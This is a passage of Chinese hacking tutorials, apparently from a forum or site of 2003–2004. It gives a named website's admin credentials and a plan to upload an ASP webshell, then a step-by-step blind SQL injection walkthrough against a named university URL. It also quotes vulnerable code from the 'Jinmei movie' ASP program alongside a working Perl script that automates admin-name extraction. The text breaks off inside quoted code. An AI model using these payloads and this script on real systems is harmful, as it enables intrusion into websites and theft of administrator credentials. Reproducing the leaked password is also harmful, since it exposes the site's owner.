于是我们知道http://pic.jetdown.com这个网站的管理用户名和密码是admin和jet&downpic,现在我们就可以登陆后台正大光明地来上传一个asp木马来扩大我们的权限了。(图4)
我通知www.jetdown.com的站长is该站有漏洞后,我又来到了金梅asp电影程序专卖店http://www.yule21.com)想看看能不能通过这个漏洞拿到金梅收费电影程序2003第三版的源码。轻车熟路得到了放在它网站上的金梅写真程序2003版演示程序的管理员的id和密码后,进入后台却发现站长却早将上传页面删掉了,是站长知道这套有漏洞,还是其它的原因删掉了该页面?这个我就不知而知了。:-)
所属分类: 脚本&编程 更新日期:2004-3-13 13:41:33 阅读次数:1019
菜鸟学习SQL注射
一般国内的小一点的新闻站点程序 都有 ""&request 这种漏洞,下面我讲解攻击方法
在地址栏:
and 1=1
查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表
在地址栏:
and 0<>(select count(*) from admin)
返回页正常,假设成立了。
下面来猜猜看一下管理员表里面有几个管理员ID:
and 1<(select count(*) from admin)
页面什么都没有。管理员的数量等于或者小于1个
and 1=(select count(*) from admin)
输入=1没显示错误,说明此站点只有一个管理员。
下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。
and 1=(select count(*) from admin where len(username)>0)
猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段,下面给大家几个常用的
user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu
用户名称字段猜解完成之后继续猜解密码字段
and 1=(select count(*) from admin where len(password)>0)
password 字段存在!因为密码字段一般都是这个拉,如果不是就试试pass如果还不是就自己想想吧
我们已经知道了管理员表里面有3个字段 id,user,password。
id 编号
user 用户名
password 密码
下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来
先猜出长度!
and 1=(select count(*) from admin where len(user)<10)
user 字段长度小于10
and 1=(select count(*) from admin where len(user)<5)
user 字段长度不小于5
慢慢的来,最后猜出长度等于6,请看下面,返回正常就说明猜解正确
and 1=(select count(*) from admin where len(user)=6)
下面猜密码,
and 1=(select count(*) from admin where len(password)=10)
猜出来密码10位,不要奇怪,现在网管都有防备的,所以密码上20位也不太奇怪了
下面该做的就是把他们拆开来一个一个猜字母
and 1=(select count(*) from admin where left(user,1)=a)
返回正常,第一位字母等于a,千万不要把大写和小写给搞错了哦~~呵呵,如果不a就继续猜其他的字符落,反正猜到返回正常就算OK了
开始猜解帐号的第二位字符。
and 1=(select count(*) from admin where left(user,2)=ad)
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
工作还没有完,别忙着跑了,还有10位密码,呵呵
and 1=(select count(*) from admin where left(password,1)=a)
经过无数次错误之后......
http://xyz.hytc.edu.cn/new2/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra)
结果密码是administra
看完文章,大家不要照着我的文章做,网络上的东西是变幻无穷的,但是我相信大家的大脑肯定比他变得快,所以希望大家看了这个文章灵活运用!那样才能达到理想的效果
所属分类: 脚本&编程 更新日期:2003-11-25 15:39:33 阅读次数:1392
金梅电影的N个SQL注入漏洞
涉及版本,金梅电影第三版
初学SQL注入,高手不要见笑,只写一此比较简单的注入。金梅电影实在是漏洞百出!先来看movie.asp
来这一段:articleid=request("id")
set rs=server.createobject("adodb.recordset")
sql="update learning set hits=hits+1 where articleID="&articleid
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1articleid未经任何检查便提交了,呵呵。我们可以构造如下代码:
127.0.0.1/movie.asp?id=28%20AND%201=(select%20id%20from%20password%20where%20len(pwd)=6)
127.0.0.1/movie.asp?id=28%20AND%201=(select%20id%20from%20password%20where%20len(name)=8)
如果下常返回页面,那么可以得到后台管理员名为8位,而密码为6位。哈哈,再来:
127.0.0.1/movie.asp?id=28%20AND%201=(select%20id%20from%20password%20where%20mid(name,1,1)=w)
正常返回页面,证明后台管理员名的第一个字母为w,呵呵,接下来不用我说了吧。重复提交类似代码,就可以把管理员名和密码弄到手了。手工输入就太麻烦了,下面这段脚本用来测试这一漏洞:
#!/usr/bin/perl
#The s cript Crack admin for 金梅电影程序
#Code by 520world
use IO::Socket;system(cls);
$ARGC = @ARGV;
if ($ARGC < 3)
{
print "\n\n";
print "\t* The s cript Crack admin for 金梅电影程序 *\n";
print "\n\tExample: jmsql.pl 127.0.0.1 /movie.asp 53 \"\n";
print "\t jmsql.pl \n\n\n";
exit;
} $host = @ARGV[0];
$way = @ARGV[1];
$txtid = @ARGV[2];
$errinfo =@ARGV[3]||800a0bcd;
$port = 80; print "\n\t* Code by 520world QQ:20000445 *\n";
print "\n\n开始在 $host 上进行测试,请等待......\n";
for ($passlen=1;$passlen<=20;$passlen++)
{
$way1 = "?id=$txtid%20AND%201=(select%20id%20from%20password%20where%20len(pwd)=$passlen)";&url;@res = &connect;if ("@res" !~ /$errinfo/)
{
print "\n\t* 发现ID=1的管理员的密码长度为: $passlen 位\n";
last;
}
}for ($userlen=1;$userlen<=20;$userlen++)
{
$way1 = "?id=$txtid%20AND%201=(select%20id%20from%20password%20where%20len(name)=$userlen)";&url;@res = &connect;if ("@res" !~ /$errinfo/)
{
print "\n\t* 发现ID=1的管理员的用户名长度为: $userlen 位\n";
last;
}
}@dig=(0..9);
@char=(a..z);
@tchar=qw(` ~ ! + @ # $ ^ * \( \) _ = - { } [ ] : " ; < > ? | , . / \\);
@dic=(@dig,@char,@tchar);
@dic1=(@char,@dig,@tchar);print "\n开始尝试获取ID=1的管理员的用户名,请等待......\n";for ($userlocat=1;$userlocat<=$userlen;$userlocat++)
{
foreach $usertemp(@dic1)
{
$user=$userdic.$usertemp;$way1 = "?id=$txtid%20and%201=(select%20id%20from%20password%20where%20mid(name,1,$userlocat)=$user)";&url;@res = &connect;if ("@res" !~ /$errinfo/)
{
if ($userlocat==$userlen){print "\n\n\t* 获取成功!!! ID=1的管理员名字是: $user\n";last;}
print "\n\t* ID=1的管理员名字的前 $userlocat 位为 $user";
$userdic=$userdic.$usertemp;
last;
}
}
}
print "\n\n\n\t* 测试完毕. 获取到一个用户名为$user! *\n";
print "\n\n\n";
#system(pause);
sub url
{
$req = "GET $way$way1 HTTP/1.0\n".
"Host: $host\n".
"Referer: $host\n".
"Cookie: \n\n";
}
sub connect
{
my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";print $connection $req;
my @res = <$connection>;
close $connection;
return @res;
}其实我是个菜鸟,这段脚本是根据wawa的动网文章改来的,还请高手不要见笑,多多指教啊。
因为是用来测试的程序,所以没有提供猜测密码的代码,还请大家不要做坏事哦!
用法:jmsql.pl <网站域名> <页面路径movie.asp> <能正常返回页面的id>再来看class.asp,
<%
MaxPerPage=5
dim totalPut
dim CurrentPage
dim TotalPages
dim i
dim ty
typeid=request("typeid")
if not isempty(request("page")) then
currentPage=cint(request("page"))
else
currentPage=1
end if
dim rstype
dim typesql
dim types
if not isEmpty(request("typeid")) then
typeid=request("typeid")
else
typeid="全部"
end if
%>
............略
if typeid="全部" then
sql="select articleid,title,hits from learning order by hits desc"
else
sql="select articleid,title,hits from learning where typeid="&typeid&"order by hits desc"
end if
Set rst= Server.CreateObject("ADODB.Recordset")
rst.open sql,conn,1,1
if rst.eof and rst.bof then
response.write "